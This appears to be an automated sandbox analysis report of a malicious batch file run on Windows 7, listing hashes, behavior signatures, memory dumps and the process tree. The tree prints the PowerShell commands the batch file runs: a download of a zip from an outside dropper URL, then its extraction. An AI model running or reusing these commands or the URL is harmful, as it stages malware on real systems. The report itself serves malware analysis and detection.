1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1801s
max time network
1819s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (9).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	108	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
108	powershell.exe
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	108	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 108	2324	cmd.exe	29
PID 2324 wrote to memory of 108	2324	cmd.exe	29
PID 2324 wrote to memory of 108	2324	cmd.exe	29
PID 2324 wrote to memory of 2772	2324	cmd.exe	30
PID 2324 wrote to memory of 2772	2324	cmd.exe	30
PID 2324 wrote to memory of 2772	2324	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2772

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ab34a520fb4fe87adec909d1857ebc60

SHA1
99db651eb33c00eb6007b02fd3ff698bbd722113

SHA256
2f70f9903a0a700fb713cc3a065ae441c8617959022530b5423bde871f09f290

SHA512
6b372c94a8eb58565e558131e95b693da305cb387a3c257add5980c7374bd3123c88aa6f91384ae7b0ed56ef64c2580b14cd9db582c5ead340b0a95aba8c1e5b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9W6CGO2JRWVB8F57BFPJ.temp

Filesize
7KB

MD5
ab34a520fb4fe87adec909d1857ebc60

SHA1
99db651eb33c00eb6007b02fd3ff698bbd722113

SHA256
2f70f9903a0a700fb713cc3a065ae441c8617959022530b5423bde871f09f290

SHA512
6b372c94a8eb58565e558131e95b693da305cb387a3c257add5980c7374bd3123c88aa6f91384ae7b0ed56ef64c2580b14cd9db582c5ead340b0a95aba8c1e5b

Download Submit
memory/108-8-0x0000000002410000-0x0000000002490000-memory.dmp

Filesize
512KB

Download
memory/108-10-0x0000000002410000-0x0000000002490000-memory.dmp

Filesize
512KB

Download
memory/108-9-0x0000000002410000-0x0000000002490000-memory.dmp

Filesize
512KB

Download
memory/108-4-0x000000001B330000-0x000000001B612000-memory.dmp

Filesize
2.9MB

Download
memory/108-7-0x0000000002410000-0x0000000002490000-memory.dmp

Filesize
512KB

Download
memory/108-11-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/108-13-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/108-6-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/108-5-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2772-19-0x000000001B110000-0x000000001B3F2000-memory.dmp

Filesize
2.9MB

Download
memory/2772-21-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2772-20-0x000000001B400000-0x000000001B408000-memory.dmp

Filesize
32KB

Download
memory/2772-22-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2772-23-0x0000000002360000-0x00000000023E0000-memory.dmp

Filesize
512KB

Download
memory/2772-24-0x0000000002360000-0x00000000023E0000-memory.dmp

Filesize
512KB

Download
memory/2772-25-0x0000000002360000-0x00000000023E0000-memory.dmp

Filesize
512KB

Download
memory/2772-26-0x0000000002360000-0x00000000023E0000-memory.dmp

Filesize
512KB

Download
memory/2772-27-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download